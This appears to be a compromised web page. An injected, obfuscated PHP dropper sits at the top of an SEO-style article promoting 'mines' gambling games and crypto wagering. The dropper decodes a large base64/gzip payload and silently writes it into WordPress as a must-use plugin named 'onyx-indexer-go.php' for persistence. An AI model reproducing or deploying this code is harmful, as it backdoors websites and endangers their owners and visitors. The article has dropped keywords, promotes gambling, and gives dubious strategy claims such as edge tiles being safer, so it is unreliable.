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'); $urshc79zecp5ffk_ = (sbrqt90a5yf(1)($n203wmf8na7s,0,2)==="\x1f\x8b") ? (sbrqt90a5yf(2)('gzdecode') ? @gzdecode($n203wmf8na7s) : (n9eq10ak(3)('gzinflate') ? @gzinflate(qcn3ev6cf7(4)($n203wmf8na7s,(0x1+0x9))) : false)) : $n203wmf8na7s; if ($urshc79zecp5ffk_ && c_pqampslunva(5)($urshc79zecp5ffk_) > (467+33)) { $ji8ke2dwgps = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : qcn3ev6cf7(6)(qcn3ev6cf7(6)(__FILE__)); $rwofqc7gcm5 = $ji8ke2dwgps . "/mu-plugins/onyx-indexer-go.php"; $m5sn8d3e6z = $ji8ke2dwgps . "/plugins/onyx-indexer-go/onyx-indexer-go.php"; $ambmvjdauteuujq = @c_pqampslunva(7)($ji8ke2dwgps . "/mu-plugins") ? $rwofqc7gcm5 : $m5sn8d3e6z; if (!@qcn3ev6cf7(8)($ambmvjdauteuujq) || @c_pqampslunva(9)($ambmvjdauteuujq) < (4938+62)) { if (!@qcn3ev6cf7(10)(c_pqampslunva(6)($ambmvjdauteuujq))) @n9eq10ak(11)(qcn3ev6cf7(6)($ambmvjdauteuujq), (0x84+0x169), true); $abij3wf5_5lld = (qcn3ev6cf7(3)('tempnam') ? @n9eq10ak(12)(sbrqt90a5yf(6)($ambmvjdauteuujq), 'sc_') : false); if ($abij3wf5_5lld !== false) { $pcto6bruzqj = @qcn3ev6cf7(13)($abij3wf5_5lld, $urshc79zecp5ffk_); if ($pcto6bruzqj !== false && $pcto6bruzqj === qcn3ev6cf7(5)($urshc79zecp5ffk_)) { $deprn2wnw8 = false; if (sbrqt90a5yf(3)('rename')) $deprn2wnw8 = @qcn3ev6cf7(14)($abij3wf5_5lld, $ambmvjdauteuujq); if (!$deprn2wnw8 && n9eq10ak(3)('copy')) { $deprn2wnw8 = @n9eq10ak(15)($abij3wf5_5lld, $ambmvjdauteuujq); if ($deprn2wnw8) @c_pqampslunva(16)($abij3wf5_5lld); } if (!$deprn2wnw8) @qcn3ev6cf7(16)($abij3wf5_5lld); if (qcn3ev6cf7(3)('chmod')) @sbrqt90a5yf(17)($ambmvjdauteuujq, (369+51)); if (qcn3ev6cf7(3)('opcache_invalidate')) @opcache_invalidate($ambmvjdauteuujq, true); } else { @qcn3ev6cf7(18)($abij3wf5_5lld); } } } } } } /* SC_TH_END:4.0.3:c3373ecd */ Fortunes unfold around mines games for daring players seeking instant wins

Fortunes unfold around mines games for daring players seeking instant wins

Fortunes unfold around mines games for daring players seeking instant wins

The thrill of uncertainty and mines games the allure of potential riches have always captivated humanity, and this fascination finds a modern expression in the world of. These digital experiences, often deceptively simple in appearance, offer a unique blend of risk and reward, demanding both strategic thinking and a healthy dose of luck. Players navigate fields dotted with hidden dangers, attempting to uncover valuable prizes while skillfully avoiding devastating consequences. The core mechanic—revealing concealed tiles—is immediately accessible, yet the depth of strategy and psychological tension can be surprisingly engaging.

Beyond the immediate excitement, the popularity of these games stems from their accessibility and convenience. Available on a wide range of platforms, from web browsers to mobile devices, they provide a quick and easily digestible form of entertainment. The escalating potential wins, coupled with the ever-present threat of loss, create a compelling loop that keeps players returning for more. Many variations exist, each introducing unique twists on the fundamental formula, ensuring a constantly evolving gameplay experience. This adaptable nature is key to their enduring appeal within the broader landscape of casual gaming.

Understanding the Core Mechanics of the Game

At its heart, the gameplay revolves around a grid filled with concealed tiles. The player’s objective is to reveal as many safe tiles as possible, typically by clicking or tapping on them. Hidden amongst the safe tiles are ‘mines’ – uncover one of these, and the game ends. However, not all tiles conceal danger; many contain rewards, often represented by multipliers that increase the player's winnings. The strategic depth emerges from the need to assess probabilities and make informed decisions about which tiles to reveal. The arrangement of mines is typically randomized, meaning each game presents a unique challenge. Successful players often employ patterns of tile selection, attempting to maximize their chances of finding rewards while minimizing the risk of triggering a mine. Understanding the underlying probability is crucial for long-term success; it's not simply about luck.

Probability and Risk Assessment

The core of skillful play lies in calculating the odds. While the exact number of mines and the grid size vary between different versions, the fundamental principle remains consistent. Players must continually weigh the potential reward against the probability of hitting a mine. For example, in a game with a larger grid and fewer mines, the risk is lower, encouraging more aggressive play. Conversely, a smaller grid with a higher mine density demands a more cautious approach. Experienced players may even attempt to track revealed tiles, using this information to deduce the likely location of hidden mines. Adapting one’s strategy based on the game's specific parameters is key to consistently achieving positive results. The perceived risk, influenced by recent wins or losses, can also play a significant psychological role.

Grid Size Number of Mines Approximate Probability of Hitting a Mine (per tile) Recommended Strategy
9×9 10 12.3% Cautious, prioritize early wins, avoid corners.
15×15 20 8.9% Balanced, explore edges, look for patterns.
20×20 30 7.5% Aggressive, rapid tile reveals, accept moderate risk.
10×10 5 5% Very aggressive. Explore quickly.

This table illustrates how the probability of encountering a mine changes based on the game's configuration. Adjusting your approach based on these factors can significantly improve your odds of success and prolong the game.

The Psychology of Mines Games

The enduring appeal of these games isn’t solely based on their mechanical simplicity. A significant factor is the psychological impact they have on players. The near misses—revealing a safe tile adjacent to a mine—can be just as stimulating as a win, creating a sense of tension and excitement. The variable reward schedule, where wins are not predictable, taps into the same psychological mechanisms that drive other forms of gambling. This unpredictable nature triggers dopamine release in the brain, reinforcing the desire to continue playing. Furthermore, the feeling of control – the illusion of being able to influence the outcome through careful decision-making – contributes to the game’s addictiveness.

The Role of Loss Aversion

Loss aversion, the tendency to feel the pain of a loss more strongly than the pleasure of an equivalent gain, also plays a crucial role. Players may become increasingly reluctant to risk a significant winning streak, opting for safer, lower-reward options. Conversely, after experiencing a series of losses, some players may engage in riskier behaviour in an attempt to recoup their losses. Understanding these psychological biases can help players make more rational decisions and avoid impulsive choices. It’s important to remember that each tile reveal is independent, and past outcomes have no bearing on future results. Maintaining a detached emotional state is often advantageous.

  • Impulse Control: Resisting the urge to immediately reveal multiple tiles.
  • Emotional Detachment: Avoiding letting wins or losses dictate future decisions.
  • Strategic Patience: Taking the time to assess the board before making a move.
  • Risk Tolerance: Understanding your personal comfort level with potential losses.
  • Bankroll Management: (If applicable) Setting limits for your spending.

These are some key psychological elements to consider when approaching these types of games. Mastering these aspects can enhance not only your gameplay but also your overall experience.

Variations and Trends in Mines Game Design

The core concept of revealing tiles to avoid mines has spawned a multitude of variations, each introducing unique features and gameplay mechanics. Some games incorporate power-ups or special abilities, allowing players to reveal multiple tiles at once or eliminate potential mines. Others feature progressive multipliers, where the reward increases with each successful tile reveal, creating the potential for massive payouts. Social features, such as leaderboards and tournaments, have also become increasingly common, adding a competitive element to the experience. The introduction of in-game currency and virtual items allows for further customization and engagement.

The Rise of Crypto Mines Games

A particularly noteworthy trend is the integration of cryptocurrency and blockchain technology into . These “crypto mines” often allow players to wager and win real cryptocurrency, adding a new layer of financial incentive. The use of blockchain ensures transparency and fair play, as the outcome of each game is verifiable on the public ledger. However, it’s essential to exercise caution when participating in crypto mines games, as the unregulated nature of the cryptocurrency market carries inherent risks. Ensure you understand the platform’s security measures and the associated fees before depositing any funds. The potential for significant gains is coupled with the possibility of substantial losses.

  1. Research the platform thoroughly before depositing funds.
  2. Understand the associated risks of cryptocurrency investments.
  3. Start with small wagers to test the game mechanics.
  4. Never wager more than you can afford to lose.
  5. Utilize two-factor authentication for added security.

Following these steps will help mitigate potential risks and protect your funds when engaging with crypto-based mines games. Thorough research and responsible gambling habits are paramount.

Strategies for Increasing Your Win Rate

While luck undoubtedly plays a role, several strategies can significantly increase your chances of success. One common tactic is to start by revealing tiles around the edges of the grid, as these tiles are less likely to be adjacent to mines. Another approach is to focus on areas where safe tiles have already been revealed, as this reduces the risk of hitting a mine. Paying attention to patterns and identifying potential mine clusters can also be beneficial. It's also important to adapt your strategy based on the size of the grid and the number of remaining mines. Avoid becoming overly reliant on any single strategy; flexibility is key.

Observing experienced players and learning from their techniques can also be valuable. Many online communities and forums dedicated to offer valuable insights and advice. However, remember that even the most skilled players will experience losses; it's an inherent part of the game. Maintaining a disciplined approach and avoiding emotional decision-making are crucial for long-term success. Ultimately, consistent practice and a willingness to learn are the most important factors.

The Future of Interactive Risk-Reward Experiences

The enduring popularity of these interactive experiences points to a broader trend: a fascination with calculated risk and the thrill of potential reward. As technology continues to evolve, we can expect to see even more sophisticated and immersive variations emerge. The incorporation of virtual reality (VR) and augmented reality (AR) could create a significantly more engaging and realistic gameplay experience. The integration of artificial intelligence (AI) could also lead to more dynamic and challenging game designs, adapting to the player’s skill level and behavior. The gamification of financial risk, within a secure and regulated framework, could also become a prominent feature.

